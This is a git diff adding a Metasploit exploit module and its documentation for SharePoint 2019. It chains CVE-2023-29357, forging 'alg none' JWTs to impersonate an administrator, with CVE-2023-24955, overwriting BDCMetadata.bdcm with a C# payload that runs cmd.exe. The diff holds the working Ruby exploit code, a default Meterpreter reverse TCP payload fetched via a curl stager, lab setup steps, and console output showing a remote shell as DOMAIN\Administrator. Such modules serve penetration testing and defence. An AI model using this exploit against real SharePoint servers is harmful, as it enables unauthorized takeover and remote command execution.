diff --git a/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md new file mode 100644 index 000000000000..27c79fb1e1dd --- /dev/null +++ b/documentation/modules/exploit/windows/http/sharepoint_dynamic_proxy_generator_unauth_rce.md @@ -0,0 +1,102 @@ +## Vulnerable Application +This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched +in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. + +The auth bypass allows attackers to impersonate the Sharepoint admin user. This vulnerability stems from the +signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing +algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic +flaw in the ReadTokenCore() method. + +After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to +exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to +replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The +payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API. + +### Setup +Setup Windows Server 2022 [20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso](https://software-download.microsoft.com/download/sg/20348.169.210806-2348.fe_release_svc_refresh_SERVER_EVAL_x64FRE_en-us.iso). +Change the computer name to "sp1". +In network connections set the IP address of the machine to a static IP on the appropriate interface. +Set the DNS settings - one to the hardcoded address of the machine and the alternate to 8.8.8.8. +Add the AD DS role to the Server and then promote to a domain controller, use all the default settings. Name the domain "domain.local". +Download and install [SQL Server 2022](https://go.microsoft.com/fwlink/?linkid=2215202&clcid=0x409&culture=en-us&country=us) with all default settings. +Download [Sharepoint 2019 image](https://download.microsoft.com/download/C/B/A/CBA01793-1C8A-4671-BE0D-38C9E5BBD0E9/officeserver.img). + +Mount the image on the newly configured Domain Controller. +Before installing the prerequisites you must go to Server Manager -> Local Server -> IE Enhanced Security Configuration -> Set to OFF +The prerequisites installer will fail to download prereqs without this. + +Run the splash.hta file, then select Install Prerequisites, this will reboot the machine. +Remount the installer and rerun the PrerequisitesInstaller.exe. Once complete for the second time, click finish, this will reboot the machine. +Remount the installer and run setup.exe, this will install all the necessary binaries, this will reboot the machine + +The SharePoint Products Configuration Wizard should launch automatically, if not you can launch it from the start menu. +Click next on the Welcome to Sharepoint Products page. It will tell you that it may have to reboot the machine, click Yes. +Select "Create a new server farm", click Next. + +Input the following: +Database server: sp1 +Database name: SharePoint_Config +Username: DOMAIN\\Administrator +Password: N0tpassword! + +Click Next. + +Specify Farm Security Settings: +Enter and reenter a passphrase: + +Click Next. + +Specify Server Role: +Single-Server Farm + +Click Next. + +Configure SharePoint Central Administration Web Application +No changes here, keep the port number default and keep NTLM selected, + +Click Next. + +You should now have a vulnerable version of SharePoint 2019 installed. + +## Verification Steps + +1. Start msfconsole +1. Do: `use sharepoint_dynamic_proxy_generator_auth_bypass_rce` +1. Set the `RHOST`, `LHOST`, and `HOSTNAME` options +1. Run the module +1. Receive a Meterpreter session in the context of the user running the SharePoint application. + +## Scenarios +### SharePoint 2019 +``` +msf6 exploit(windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce) > rexploit +[*] Reloading module... + +[*] Started reverse TCP handler on 172.16.199.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Sharepoint version detected: 16.0.0.10337 +[*] Discovered hostname is: sp1 +[*] realm: 1a150b01-299a-48a9-afd4-379402fff4de, client_id: 00000003-0000-0ff1-ce00-000000000000 +[*] Got Oauth Info: 1a150b01-299a-48a9-afd4-379402fff4de|00000003-0000-0ff1-ce00-000000000000 +[*] Lob id is: XafKHq +[*] Successfully impersonated Site Admin: 00000003-0000-0ff1-ce00-000000000000 +[+] The target is vulnerable. Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955. +[*] BDCMetadata file already present on the remote host, backing it up. +[+] Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: /Users/jheysel/.msf4/loot/20240206152102_default_172.16.199.72_sharepoint.confi_163878.txt +[+] Payload has been successfully delivered +[*] Sending stage (200774 bytes) to 172.16.199.72 +[+] BDCMetadata.bdcm has been successfully restored to it's original state. +[*] Meterpreter session 4 opened (172.16.199.1:4444 -> 172.16.199.72:51458) at 2024-02-06 15:21:04 -0500 + +meterpreter > getuid +Server username: DOMAIN\Administrator +meterpreter > sysinfo +Computer : SP1 +OS : Windows Server 2022 (10.0 Build 20348). +Architecture : x64 +System Language : en_US +Domain : DOMAIN +Logged On Users : 20 +Meterpreter : x64/windows +meterpreter > +``` \ No newline at end of file diff --git a/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb new file mode 100644 index 000000000000..843fe434a018 --- /dev/null +++ b/modules/exploits/windows/http/sharepoint_dynamic_proxy_generator_auth_bypass_rce.rb @@ -0,0 +1,367 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'securerandom' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Sharepoint + include Msf::Exploit::FileDropper + prepend Msf::Exploit::Remote::AutoCheck + + class SharepointError < StandardError; end + class SharepointInvalidResponseError < SharepointError; end + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Sharepoint Dynamic Proxy Generator Unauth RCE', + 'Description' => %q{ + This module exploits two vulnerabilities in Sharepoint 2019, an auth bypass CVE-2023-29357 which was patched + in June of 2023 and CVE-2023-24955, an RCE which was patched in May of 2023. + + The auth bypass allows attackers to impersonate the Sharepoint Admin user. This vulnerability stems from the + signature validation check used to verify JSON Web Tokens (JWTs) used for OAuth authentication. If the signing + algorithm of the user-provided JWT is set to none, SharePoint skips the signature validation step due to a logic + flaw in the ReadTokenCore() method. + + After impersonating the administrator user, the attacker has access to the Sharepoint API and is able to + exploit CVE-2023-24955. This authenticated RCE vulnerability leverages the impersonated privileged account to + replace the "/BusinessDataMetadataCatalog/BDCMetadata.bdcm" file in the webroot directory with a payload. The + payload is then compiled and executed by Sharepoint allowing attackers to remotely execute commands via the API. + }, + 'Author' => [ + 'Jang', # discovery + 'jheysel-r7' # module + ], + 'References' => [ + [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-may-9-2023-kb5002389-e2b77a46-2946-495f-8948-8abdc44aacc3'], + [ 'URL', 'https://support.microsoft.com/en-us/topic/description-of-the-security-update-for-sharepoint-server-2019-june-13-2023-kb5002402-c5d58925-f7be-4d16-a61b-8ce871bbe34d'], + [ 'URL', 'https://testbnull.medium.com/p2o-vancouver-2023-v%C3%A0i-d%C3%B2ng-v%E1%BB%81-sharepoint-pre-auth-rce-chain-cve-2023-29357-cve-2023-24955-ed97dcab131e'], + [ 'CVE', '2023-29357'], + [ 'CVE', '2023-24955'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Arch' => [ ARCH_CMD ], + 'Platform' => 'win', + 'Targets' => [ + [ + 'Windows Command', + { + 'Platform' => ['win'], + 'Arch' => [ARCH_CMD], + 'Type' => :cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', + 'WritableDir' => '%TEMP%', + 'CmdStagerFlavor' => [ 'curl' ] + } + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => '2023-05-01', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ ARTIFACTS_ON_DISK, ], + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + register_options([ + OptString.new('TARGETURI', [ true, 'The URL of the SharePoint application', '/' ]) + ]) + end + + def resolve_target_hostname + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '_api', 'web'), + 'method' => 'GET', + 'headers' => { + # The NTLM SSP challenge: 'NTLMSSPHOSTNAME' + 'Authorization' => 'NTLM TlRMTVNTUAABAAAAA7IIAAYABgAkAAAABAAEACAAAABIT1NURE9NQUlO' + } + }) + + if res&.code == 401 && res['WWW-Authenticate'] && res['WWW-Authenticate'].match(/^NTLM\s/i) + hash = res['WWW-Authenticate'].split('NTLM ')[1] + message = Net::NTLM::Message.parse(Rex::Text.decode_base64(hash)) + hostname = Net::NTLM::TargetInfo.new(message.target_info).av_pairs[Net::NTLM::TargetInfo::MSV_AV_DNS_COMPUTER_NAME] + + hostname.force_encoding('UTF-16LE').encode('UTF-8').downcase + else + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header' + end + end + + def get_oauth_info(hostname) + vprint_status('getting oauth info') + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '_api', 'web'), + 'method' => 'GET', + 'headers' => { + # The below base64 decoded is: {"alg":"HS256"}{"nbf":"1673410334","exp":"1693410334"}aaa + 'Authorization' => 'Bearer eyJhbGciOiJIUzI1NiJ9.eyJuYmYiOiIxNjczNDEwMzM0IiwiZXhwIjoiMTY5MzQxMDMzNCJ9.YWFh', + 'HOST' => hostname + } + }) + + if res && res.headers['WWW-Authenticate'] + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header containing a realm and client_id' unless res.headers['WWW-Authenticate'] =~ /NTLM, Bearer realm="(.+)",client_id="(.+)",trusted_issuers="/ + + realm = Regexp.last_match(1) + client_id = Regexp.last_match(2) + print_status("realm: #{realm}, client_id: #{client_id}") + return realm, client_id + else + raise SharepointInvalidResponseError, 'The server did not return a WWW-Authenticate header with getting OAuth info' + end + end + + def gen_endpoint_hash(url) + Base64.strict_encode64(Digest::SHA256.digest(url.downcase)) + end + + def gen_app_proof_token + jwt_token = "{\"iss\":\"00000003-0000-0ff1-ce00-000000000000\",\"aud\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\",\"nbf\":\"1673410334\",\"exp\":\"1725093890\",\"nameid\":\"00000003-0000-0ff1-ce00-000000000000@#{@realm}\", \"ver\":\"hashedprooftoken\",\"endpointurl\": \"qqlAJmTxpB9A67xSyZk+tmrrNmYClY/fqig7ceZNsSM=\",\"endpointurlLength\": 1, \"isloopback\": \"true\"}" + b64_token = Rex::Text.encode_base64(jwt_token) + "eyJhbGciOiAibm9uZSJ9.#{b64_token}.YWFh" + end + + def send_get_request(url) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url), + 'method' => 'GET', + 'headers' => @auth_headers + }) + end + + def send_json_request(url, data) + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url), + 'method' => 'POST', + 'ctype' => 'application/json', + 'headers' => @auth_headers, + 'data' => data.to_json + }) + end + + def get_current_user + res = send_get_request('/_api/web/currentuser') + if res&.code != 200 + raise SharepointInvalidResponseError, 'Failed to get current user' + end + + res.body + end + + def do_auth_bypass + hostname = resolve_target_hostname + hostname = hostname.split('.')[0] if hostname.include?('.') + + print_status("Discovered hostname is: #{hostname}") + + @realm, @client_id = get_oauth_info(hostname) + print_status("Got Oauth Info: #{@realm}|#{@client_id}") + @lob_id = Rex::Text.rand_text_alpha(rand(4..8)) + print_status("Lob id is: #{@lob_id}") + + token = gen_app_proof_token + + @auth_headers = { + 'X-PROOF_TOKEN' => token, + 'Authorization' => "Bearer #{token}", + 'HOST' => hostname + } + + user_info = get_current_user + raise SharepointInvalidResponseError, 'Unable to identify the current user' if user_info.nil? + + user_info =~ %r{.+?\|(.+)\|.+?} + raise SharepointInvalidResponseError, 'Unable to identify the LoginName of the current user' unless Regexp.last_match(1) + + username = Regexp.last_match(1) + if user_info.include?('true') + # The LoginName is formatted like so: i:0i.t|00000003-0000-0ff1-ce00-000000000000|app@sharepoint + print_status("Successfully impersonated Site Admin: #{username}") + else + raise SharepointError, 'The user found is not a is not a Site Admin, RCE is not possible.' + end + @auth_bypassed = true + end + + def check + version = sharepoint_get_version + return CheckCode::Unknown('Could not determine the Sharepoint version') if version.nil? + + print_status("Sharepoint version detected: #{version}") + + begin + CheckCode::Vulnerable('Authentication was successfully bypassed via CVE-2023-29357 indicating this target is vulnerable to RCE via CVE-2023-24955.') if do_auth_bypass + rescue SharepointInvalidResponseError => e + return CheckCode::Safe(e) + end + end + + def create_c_sharp_payload(cmd) + class_name = Rex::Text.rand_text_alpha(rand(4..8)) + c_sharp_payload = <<~EOF + #{Rex::Text.rand_text_alpha(rand(4..8))}{ + class #{class_name}: System.Web.Services.Protocols.HttpWebClientProtocol{ + static #{class_name}(){ + System.Diagnostics.Process.Start("cmd.exe", "/c #{cmd.gsub!('\\', '\\\\\\')}"); + } + } + } + namespace #{Rex::Text.rand_text_alpha(rand(4..8))} + EOF + + c_sharp_payload + end + + def drop_and_execute_payload + bdcm_data = " + + + + + http://localhost:32843/SecurityTokenServiceApplication/securitytoken.svc?singleWsdl + + + + RevertToSelf + + + + + + + + False + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +" + + url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url_drop_payload), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => @auth_headers, + 'data' => bdcm_data + }) + + fail_with(Failure::UnexpectedReply, 'Payload delivery failed') unless res&.code == 200 + print_good('Payload has been successfully delivered') + entity_id = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:entityfile:Products,ODataDemo" + lob_system_instance = "#{SecureRandom.uuid}|4da630b6-36c5-4f55-8e01-5cd40e96104d:lsifile:#{@lob_id},#{@lob_id}" + + exec_cmd_data = "CreateProduct1" + + res2 = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/_vti_bin/client.svc/ProcessQuery'), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => @auth_headers, + 'data' => exec_cmd_data + }) + + fail_with(Failure::UnexpectedReply, 'Payload execution failed') unless res2&.code == 200 + end + + def ensure_target_dir_present + res = send_get_request('/_api/web/GetFolderByServerRelativeUrl(\'/\')/Folders') + @backup_bdc_metadata = '' + if res&.code == 200 && res&.body&.include?('BusinessDataMetadataCatalog') + print_status('BDCMetadata file already present on the remote host, backing it up.') + res_bdc_metadata = send_get_request("/_api/web/GetFileByServerRelativePath(decodedurl='/BusinessDataMetadataCatalog/BDCMetadata.bdcm')/$value") + if res_bdc_metadata&.code == 200 && !res_bdc_metadata&.body&.empty? + @backup_bdc_metadata = res_bdc_metadata.body + store_bdcmetadata_loot(res_bdc_metadata.body) + else + print_warning('Failed to backup the existing BDCMetadata.bdcm file') + end + else + body = { 'ServerRelativeUrl' => '/BusinessDataMetadataCatalog/' } + res_json = send_json_request('/_api/web/folders', body) + if res_json&.code == 201 + print_status('Created BDCM Folder') + else + fail_with(Failure::UnexpectedReply, 'Unable to create the BDCM folder') + end + end + end + + def on_new_session(_session) + url_drop_payload = "/_api/web/GetFolderByServerRelativeUrl('/BusinessDataMetadataCatalog/')/Files/add(url='/BusinessDataMetadataCatalog/BDCMetadata.bdcm',overwrite=true)" + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, url_drop_payload), + 'method' => 'POST', + 'ctype' => 'application/x-www-form-urlencoded', + 'headers' => @auth_headers, + 'data' => @backup_bdc_metadata + }) + if res&.code == 200 + print_good('BDCMetadata.bdcm has been successfully restored to it\'s original state.') + else + print_error('BDCMetadata.bdcm restoration has failed.') + end + end + + def store_bdcmetadata_loot(data) + file = store_loot('sharepoint.config', 'text/plain', rhost, data, 'BDCMetadata.bdcm', 'The original BDCMetadata.bdcm file before writing the payload to it') + print_good("Stored the original BDCMetadata.bdcm file in loot before overwriting it with the payload: #{file}") + end + + def exploit + # Check to see if authentication has already been bypassed in the check method, if not call do_auth_bypass. + unless @auth_bypassed + begin + do_auth_bypass + rescue SharepointError => e + fail_with(Failure::NoAccess, "Auth By-pass failure: #{e}") + end + end + # If /BusinessDataMetadataCatalog does not exist, create it. If it exists and contains BDCMetadata.bdcm, back it up. + ensure_target_dir_present + drop_and_execute_payload + end +end